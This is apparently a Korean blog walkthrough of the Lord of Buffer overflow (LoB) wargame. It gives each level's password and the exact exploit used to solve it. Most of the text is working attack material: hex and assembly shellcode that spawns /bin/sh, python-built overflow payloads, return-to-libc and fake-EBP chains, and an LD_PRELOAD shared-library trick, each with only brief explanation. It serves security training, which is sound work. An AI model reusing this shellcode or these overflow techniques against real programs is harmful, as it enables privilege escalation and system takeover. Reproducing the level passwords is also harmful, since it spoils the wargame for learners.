본문 바로가기

System Security/LoB

[LoB] Solution

[LoB]

 

telnet -l gate 192.168.171.5

 

#include <stdio.h>

#include <stdlib.h>

 

int main(void) {

        printf("0x%x\n", getenv("SHELLCODE"));

}

 

SHELLCODE (환경변수 : \x90 * 15 + SHELLCODE) 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

"1\300Ph//shh/bin\211\343PS\211\341\211°\v̀"

 

setreuid 

 

.global main

 

main:

        #setreuid(502,502)

        xor     %eax, %eax

        mov     $0x46, %al  # 70 setreuid syscall

        mov     $0x1f6, %bx # 502

        mov     $0x1f6, %cx # 502

        int     $0x80

 

/bin/bash2

[gate] ./gremlin `python -c 'print "\x90" * 260 + “환경변수 저장 주소”

pwd: hello bof world

 

[gremlin] ./cobolt $(python -c 'print "\x90" * 20 + "\x38\xfe\xff\xbf"')

pwd: hacking exposed

(환경변수: SHELLCODE) 

 

[cobolt] (python -c 'print "\x90" * 20 + "\x11\xff\xff\xbf"';cat) | ./goblin

pwd: hackers proof

(환경변수: SHELLCODE) 

 

[goblin] ./orc `python -c 'print "A" * 44 + "\xeb\xfc\xff\xbf"+ " " + "\x90" * 100 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”

 

pwd: cantata

 

(\xeb\xfc\xff\xbf: argv[2] 주소)

argv[2] 값으로 접근 (break *main+194, x/100s $esp 로 두 번째 인자가 저장되는 주소 찾아서 접근)

 

[orc] ./wolfman`python -c 'print "A" * 44 + "\x87\xfd\xff\xbf"+ " " + "\x90" * 100 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”

pwd: love eyuna

 

(\x87\xfd\xff\xbf: argv[2] 주소)

argv[2] 값으로 접근 (break *main+194, x/100s $esp 로 두 번째 인자가 저장되는 주소 찾아서 접근)

 

[wolfman] 

./darkelf `python -c 'print "A" * 44 + "\x67\xfd\xff\xbf"+ " " + "\x90" * 100 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”

pwd: kernel crashed

 

(\x67\xfd\xff\xbf: argv[2] 주소)

argv[2] 값으로 접근 (break *main+194, x/100s $esp 로 두 번째 인자가 저장되는 주소 찾아서 접근)

 

[darkelf] 

./orgeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee `python -c 'print "A" * 44 + "\x24\xfd\xff\xbf"+ " " + "\x90" * 100 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”

 

orgeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee 로 이름 바꾼 후 위와 동일하게 진행 

pwd: timewalker

 

[orge] ./$(python -c 'print "\x90" * 100 + “\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”’) `python -c ‘print “A” * 44 + “\xcd\xfc\xff\xbf”’`

 

pwd: aspirin

 

[135자리 argv[0] 주소: 0xbffffcad]  

[\x2f 없는 SHELLCODE]

\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

 

.global main

 

main:

# execve("/bin/sh", 0x0, 0x0) ;

 

        xor     %eax, %eax

        push    %eax

        mov     $0x67722e2e, %esi

        add     $0x1010101, %esi

        push    %esi

        mov     $0x6e69622e, %edi

        inc     %edi

        push    %edi

        mov     %esp, %ebx

        push    %eax

        mov     %esp, %edx

        push    %ebx

        mov     %esp, %ecx

        mov     $0xb, %al

        int     $0x80

 

[troll] ./vampire `python -c 'print "A" * 44 + “\x48\x77\xfe\xbf” + “ “ + “\x90” * 100000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”’`

 

pwd: music world

 

핵심: argv[2]에 엄청 값을 많이 넣어 스택 주소가 0xbffff 형식을 방지 

0xbffe7748

 

[vampire] ./$(python -c ‘print “\x90” * 100 + “\x2f 없는 SHELLCODE”’) `python -c 'print "A" * 44 + "\xb0\xff\xff\xbf"'`

 

pwd: shellcoder

 

핵심: argv hunter 라도 argv[0] 값은 저장하고 있는 주소가 있으므로 파일명에 SHELLCODE 삽입

 

[skeleton] ./golem `python -c 'print "A" * 44 + "\x38\xf7\xff\xbf"'`

pwd: cup of coffee

 

—————STACK 다 사라졌을 때 —————

 

공유 라이브러리 활용 - ( -fPIC -shared )

프로그램이 시작될 때 이 프로그램에 의해서 적재되는 라이브러리

$ touch shared_lib.c

$ gcc -fPIC -shared -o $(python -c ‘print “\x90” *100 + “\x2f 없는 SHELLCODE”’) shared_lib.c

 

export LD_PRELOAD=/home/skeleton/$(python -c ‘print “\x90” * 100 + “\x2f 없는 SHELLCODE”’)

 

[golem] ./darknight `python -c ‘print “SHELLCODE” + “\x90” * 15 + “\x88”’`

 

pwd: new attacker

 

SFP Overflow 

함수의 1byte로 EBP 값을 변경하면 ebp + 4 값이 eip (호출 받은 함수의 종료 후 실행할 다음 명령어 주소) 값 인데 SHELLCODE가 담긴 buf 로 eip 값을 조작하여 쉘을 딴다. 

 

disas problem_child

 

[darkknight] ./bugbear `python -c 'print "\x90" * 44 + "\xe0\x8a\x05\x40" + "\x90" * 4 + "\xf9\xbf\x0f\x40"'`

 

pwd: new divide

 

RTL (Return-to-libc): NX bit 보호 기법 우회 

NX bit: Stack Segment 의 Execute 권한을 제한하여 스택에 SHELLCODE 를 삽입하여 return 주소를 overwrite 하더라도 공격이 적용되지 않는 경우 사용 

libc: 메모리에 미리 적재되어 있는 공유 라이브러리 이용하여 공격

 

Payload: dummy(40) + SFP(4) + system 함수 주소(4) + dummy(4) + /bin/sh 주소 (4) 

 

dummy (4) 이유: system 함수가 실행되고 난 후 실행되는 부분인데 쉘을 실행시키는게 목적이므로 dummy 값으로 채워줌 

 

eip주소 부분 -> system 함수의 주소 (change) 

ebp+4 부분은 인자가 존재해야하므로 /bin/sh 주소를 넘겨줌. 

 

p system 주소: 0x40058ae0 

/bin/sh 주소: 0x400fbff9

 

[/bin/sh address 찾는 C코드] 

 

#include <stdio.h>

#include <string.h>

 

int main(void) {

        long addr = 0x40058ae0;

        while(memcmp((void *) addr, "/bin/sh", 8)) {

                addr++;

        }

        printf("0x%x\n", addr);

 

        return 0;

}

 

[bugbear] ./giant "`python -c 'print "\x90" * 44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\x90" * 4 + "\xf9\xbf\x0f\x40"'`" 

 

Payload: Dummy(40) + SFP(4) + execve (4) + system(4) + Dummy(4) + /bin/sh(4)

 

pwd: one step closer

 

(gdb) p/x 0x40018000 (사용된 공유 라이브러리 주소) + 0x00091d48 (__execve address)

 

사용된 공유 라이브러리 주소: ldd 파일 | grep libc | awk ‘{print $4}’

Execute address: nm /lib/libc.so.6 | grep __execve | awk ‘{print $1}’

$1 = 0x400a9d48

 

execve: 0x400a9d48

system: 0x40058ae0

/bin/sh: 0x400fbff9

 

[/bin/sh address 찾는 C코드] 

 

#include <stdio.h>

#include <string.h>

 

int main(void) {

        long addr = 0x40058ae0;

        while(memcmp((void *) addr, "/bin/sh", 8)) {

                addr++;

        }

        printf("0x%x\n", addr);

 

        return 0;

}

 

[giant] ./assassin “`python -c ‘print “\x90” * 44 + “\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40” + “\x90” * 4 + “\xf9\xbf\x0f\x40”’`” 

 

pwd: pushing me away

 

payload: Dummy(40) + SFP(4) + Main_ret_addr(4) + System(4) + Dummy(4) + /bin/sh_addr(4)  

 

[assassin] 

 

SFP 부분을 &buf -4 주소로 채우고 return 주소를 leave 주소로 채워 buf 시작 주소에 있는 주소 값을 return 하도록 하여 SHELL을 실행

 

pwd: no place to hide

 

"`python -c 'print "\x04\xfc\xff\xbf"+"\xe0\x8a\x05\x40" + "\x90" * 4 + "\xf9\xbf\x0f\x40"+"\x90"*24 + "\xfc\xfb\xff\xbf" + "\xdf\x84\x04\x08"'`"

 

payload: (&buf+4)(4) + "\xe0\x8a\x05\x40" + "\x90" * 4 + "\xf9\xbf\x0f\x40" + [SFP](&buf-4)(4) + leave_addr(4)

 

0xbffffc04: &buf+4

0xbffffc00: buf 시작주소 

0xbffffbfc: &buf-4 

 

0xbffffbfc

0x80484df: leave (main)

Fake EBP: EBP를 조작하여 leave-ret Gadget을 이용하여 IP (Instruction Pointer)를 조작하는 기법

(스택 주소와 라이브러리 주소를 덮어쓸 수 없을 때 사용) 

 

leave  -> mov esp ebp

                 pop ebp

ret -> pop eip 

  jmp eip

 

eip = ebp + 4

 

[zombie_assassin] `python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "A" * 4 + "\x08\xfc\xff\xbf" + "/bin/sh\x00"'`

 

payload: Dummy(40) + SFP(4) + DO(4) + GYE(4) + GUL(4) + YUT(4) + MO(4) + Dummy(4) + /bin/sh 주소 + “/bin/sh\x00” 

 

함수 주소 다음 위치는 함수가 종료되었을 때 실행되는 부분이기에 (함수1 주소) + (함수2 주소) 하면 함수1 실행 후 함수2가 실행된다. 

 

pwd: here to stay

 

DO = 0x80487ec

GYE = 0x80487bc

GUL = 0x804878c

YUT = 0x804875c

MO = 0x8048724

 

[succubus] 

 

PLT 공격 

Return 부분을 strcpy 주소로 채운 후 AAAA가 쓰여지게 된다. 이후 strcpy의 ret을 활용하여 source를 destination에 copy시켜 시스템 함수를 실행시킨다. 즉, source 부분에 시스템 함수가 쓰여진 주소를 입력하고 destination 부분에는 AAAA가 위치한 주소를 입력해준다. 

 

password: beg for me

 

payload: Dummy(40) + SFP(4) + strcpy_addr(4) + Dummy(4) + arg1(4)(48번째 주소) + arg2(4)(system 함수 쓰인 주소) + system(4)(함수 주소) 

 

Payload: Dummy(40) + SFP(4) + strcpy_addr(4) + Dummy(4) + arg1(4)(48번째 주소) + arg2(4)(SHELLCODE 환경변수)

 

./nightmare “`python -c 'print "\x90" * 44 + "\x10\x84\x04\x08" + "A" * 4 +"A" * 4 + "\xb0\xfb\xff\xbf"+"\x14\xfe\xff\xbf"'`" 

 

Strcpy addr: 0x08048410

 

[nightmare] (python -c ‘print “SHELLCODE” + "\x90" * 19 +"\x00\x50\x01\x40"'; cat) | ./xavius

 

pwd: throw me away

 

STDIN 공격 

Stdin 을 할 때 임시 버퍼가 존재한다. 임시 버퍼 주소를 구하여 return 주소에 넣어주자. 

 

x/10wx stdin 

 

임시 버퍼 주소: 0x40015000

 

[xavius] 

Remote Exploit 공격